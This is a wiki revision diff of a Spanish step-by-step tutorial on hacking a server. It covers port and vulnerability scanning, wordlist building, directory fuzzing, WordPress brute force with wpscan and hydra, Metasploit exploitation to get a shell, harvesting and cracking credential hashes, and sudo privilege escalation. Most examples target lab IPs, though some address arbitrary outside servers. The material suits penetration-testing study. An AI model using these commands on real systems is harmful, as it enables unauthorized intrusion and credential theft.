Muestra las diferencias entre dos versiones de la página.
Próxima revisión | Revisión previa | ||
tutorial:hacking-servidores [2025/04/27 19:13] truper creado |
tutorial:hacking-servidores [2025/05/12 05:00] (actual) truper |
||
---|---|---|---|
Línea 1: | Línea 1: | ||
====Pasos para intentar hackear un servidor==== | ====Pasos para intentar hackear un servidor==== | ||
- | **1º 8-) Escanear puertos y servicios, saber cuales están open, conocer los parámetros de nmap**\\ | + | **1º Normalmente siempre es conveniente saber cual es la ip**\\ |
- | **-Pn** Deshabilitar ping porque muchos servidores lo tienen deshabilitado, no responden y nmap no continúa con el escaner\\ | + | * Con __nslookup__ o __host__ si el host no está en la red local y sólo sabemos el dominio, útil para saber en qué **ubicación** se encuentra, **sin poner** el protocolo **http o https, ojo** |
- | **-n** Para no realizar resolución dns y ahorrar tiempo (se puede hacer previamente con nslookup o host)\\ | + | * //**nslookup** dominio.com// |
- | **-sS** escaneo rápido TCP SYN Scan para saber cuales están abiertos, **requiere root**, es el predeterminado, sigiloso, poco molesto y efectivo porque no completa la conexión TCP. Envía SYN y si recibe SYN/ACK interpreta que está abierto\\ | + | * //**host** dominio.com// |
- | **-sV** Detecta solo versiones, si se quiere que además detecte SO usar en vez de -sV %%--%%A\\ | + | |
- | **-p-** Escaneo de todos los puertos (0 a 65 mil y pico)\\ | + | |
- | **%%--%%min-rate 6000** (6000 paquetes mínimo por segundo o los que quieras, según la velocidad de tu conexión, lógico para servidores virtualizados de prueba pero no para hacerlo con reales porque aumenta la detección, en reales se usa como máximo la opción T5 que envía unos 1000 a 2000 paquetes como máximo, y ya es muy intrusivo, normalmente se envían 200) | + | |
- | **Fíjate cómo varía la velocidad del escaner si cambias parámetros, al terminar hay una línea que pone**\\ | + | * Si está en la red local con: |
+ | * //nmap 192.168.0.1/24// (32 bits-24 -> 8, 2^8 -> 256) | ||
+ | * //nmap 192.168.0.1-255// | ||
+ | **2º Conocer los parámetros básicos y más utilizados de nmap**\\ | ||
+ | |||
+ | * **-Pn** No usar ping para detectar hosts activos, porque muchos servidores lo tienen deshabilitado, no responden, nmap no continúa con el escaner e interpreta que el host no está activo\\ | ||
+ | * **-n** No realizar resolución dns para ahorrar tiempo (se puede resolver previamente con **nslookup o host**)\\ | ||
+ | * **-sS** escaneo rápido TCP SYN Scan para saber cuales están abiertos, **requiere root**, es el predeterminado, sigiloso, poco molesto y efectivo porque no completa la conexión TCP. Envía SYN y si recibe SYN/ACK interpreta que está abierto\\ | ||
+ | * **-sV** Detecta solo versiones, si se quiere que además detecte **SO** usar en vez de **-sV %%--%%A**\\ | ||
+ | * **-p-** Escaneo de todos los puertos (0 a 65 mil y pico)\\ | ||
+ | * **-p1-3500** Escaneo de un rango de puertos\\ | ||
+ | * **-p22,80,443,8080** Escaneo de unos puertos concretos\\ | ||
+ | * **%%--%%min-rate 6000** (6000 paquetes mínimo por segundo o los que quieras, según la velocidad de tu conexión, lógico para servidores virtualizados de prueba pero no para hacerlo con reales porque aumenta la detección, en reales se usa como máximo la opción T5 que envía unos 1000 a 2000 paquetes como máximo, y ya es muy intrusivo, normalmente se envían 200)\\ | ||
+ | * **%%--script "vuln", --script "vuln and not intrusive" o --script "all",etc%%, [[https://nmap.org/book/man-nse.html|ver todas las posibilidades, all, vuln and not auth, etc]]** | ||
+ | |||
+ | **3º Hacer un escaneo básico** | ||
+ | * **A una máquina virtual de pruebas en la red local (escaneo rápido)** | ||
+ | * %%sudo nmap -Pn -sS -n -p- -sV --min-rate 6000 192.168.0.227%% | ||
+ | * **A un servidor cualquiera fuera de la red local** | ||
+ | * %%sudo nmap -Pn -sS -n -p- -sV -T4 ip_servidor%% | ||
+ | |||
+ | **Fijarse cómo varía la velocidad del escaner si cambias parámetros, al terminar hay una línea que pone**\\ | ||
Host is up (0.00068s latency) | Host is up (0.00068s latency) | ||
- | **2º Buscar si hay vulnerabilidades para las versiones detectadas de los servicios open del escaner anterior** \\ | + | **4º Una vez descubiertos los puertos abiertos hacer un escaner completo o de vulnerabilidades a esos puertos**\\ |
+ | |||
+ | * %%sudo nmap -Pn -p22,80 --script vuln 192.168.0.227%% | ||
+ | * %%sudo nmap -Pn -p22,80 --script "all and not broadcast" 192.168.0.227%% | ||
+ | |||
+ | **5º Buscar si hay vulnerabilidades para las versiones detectadas de los servicios open del escaner anterior** \\ | ||
* **Ejemplos** | * **Ejemplos** | ||
Línea 19: | Línea 42: | ||
* searchsploit ssh | grep -E '9\.2.*' | * searchsploit ssh | grep -E '9\.2.*' | ||
- | **3º Probar a hacer fuzzing a ver si hay algún panel de login o algo útil** \\ | + | **6º Ver si revela alguna información el encabezado http** \\ |
+ | |||
+ | * %%curl -I http://192.168.0.227%% | ||
+ | * %%curl -I http://dominio.com%% | ||
+ | |||
+ | **7º Escaner __nikto__, específico para servidores web y útil si no sabemos interpretar bien los encabezados http del comando anterior** | ||
+ | * **Parámetros:** | ||
+ | * -h ip | ||
+ | * -p puerto | ||
+ | * **Ejemplo:** | ||
+ | * nikto -h %%http://192.168.0.227%% -p 80 -output scan_nikto.txt | ||
+ | |||
+ | **8º Fuerza bruta y pistas** | ||
+ | * **Descargar, conocer seclists, un conjunto de diccionarios de fuerza bruta para poder hacer fuzzing** | ||
+ | * %%gitclone https://github.com/danielmiessler/SecLists.git%% | ||
+ | * **Obtener palabras del servidor web que tal vez puedan darnos pistas** | ||
+ | * %%cewl http://192.168.0.227 -w lista_palabras.txt%% | ||
+ | * %%cewl http://dominio.com -w lista_palabras.txt%% | ||
+ | * **Con las pistas más relevantes que saquemos de lista_palabras.txt y del resto analizado crear un diccionario de fuerza bruta a medida** | ||
+ | * %%princeprocessor palabras_relevantes.txt > diccionario.txt%% | ||
+ | |||
+ | |||
+ | |||
+ | **9º Identificar aplicaciones web instaladas, //**CMS**//** | ||
+ | * Hacer **fuzzing** para descubrir rutas, archivos de interés y **CMS** instalado | ||
+ | * p1=directory-list-2.3-medium.txt | ||
+ | * ffuf -u %%http://ip/FUZZ -w $p1%% -ac -fw 60000-90894 | ||
+ | * ffuf -u %%http://ip/admin/FUZZ -w $p1%% -ac -fw 60000-90894 | ||
+ | * feroxbuster -u %%http://pagina.com -w%% $p1 -o resultado.txt -x php,html,txt | ||
+ | * Encontrar **paneles de login** (rutas por defecto de instalación) | ||
+ | * Encontrar **versión** de **CMS** en el **código** fuente **html** de la página principal | ||
+ | * Buscar si hay **exploits para** esa versión de **CMS** | ||
+ | * Buscar si hay **nombre** de **usuario** en la página principal del **CMS** | ||
+ | * En **wordpress** | ||
+ | * Enumerar **plugins, usuarios**: | ||
+ | * %%wpscan --url http://192.168.0.137/wordpress --enumerate u,p%% | ||
+ | * **Ataque con acceso** | ||
+ | * 1º ataque de **fuerza bruta** | ||
+ | * A **xmlrpc.php de wordpress** (que permite múltiples intentos de login en una sola solicitud.) | ||
+ | * %%wpscan --url http://192.168.0.137/wordpress -U maria -P rockyou.txt%% | ||
+ | * Al **panel de login** como en cualquier otro **CMS** (menos eficiente y más dificil de escribir) | ||
+ | * Con **hydra** | ||
+ | * data="cadena del inspector de código de firefox del archivo login.php" | ||
+ | * hydra -l pepe -P rockyou.txt url http-post-form data | ||
+ | * Con un script hecho a medida como el de [[https://github.com/0xDTC/Bludit-3.9.2-Auth-Bruteforce-Bypass-CVE-2019-17240/blob/master/CVE-2019-17240|Bludit]] | ||
+ | * 2º Una vez descubierta la contraseña se explota una **vulnerabilidad** en un **plugin de subida de archivos** | ||
+ | * Desde metasploit (fácil) | ||
+ | * Comandos | ||
+ | * search wordpress | ||
+ | * use 0 | ||
+ | * show options | ||
+ | * set, run | ||
+ | * una vez dentro se obtiene **shell** como usuario **www-data** y: | ||
+ | * Se buscan **hashes y credenciales** por los archivos de la ruta del **CMS** __%%/var/www/html/loquesea%%__ | ||
+ | * %%grep -irE '[a-z]+:\$' /var/www/cms/*%% | ||
+ | * %%grep -irE '[a-z]+@gmail' /var/www/cms/*%% | ||
+ | * Obtenido el **hash** se intenta **descifrar** en **[[https://crackstation.net|crackstation]]** | ||
+ | * Se intenta hacer **escalada a root** | ||
+ | * **sudo -l** (con el que estamos), **sudo -l -U www-data** | ||
+ | * (ALL : ALL) ALL | ||
+ | * (ALL) NOPASSWD: ALL -> El usuario puede ejecutar cualquier comando como root sin necesidad de contraseña. Escalada inmediata. | ||
+ | * creando el archivo malicioso (payload) con metasploit que contiene una reverse shell (más difícil) | ||
+ | |||
+ | | ||
- | ffuf -u %%http://ip/FUZZ -w directory-list-2.3-medium.txt%% -ac -fw 60000-90894 | + | .....continuará. Feliz hacking 8-) |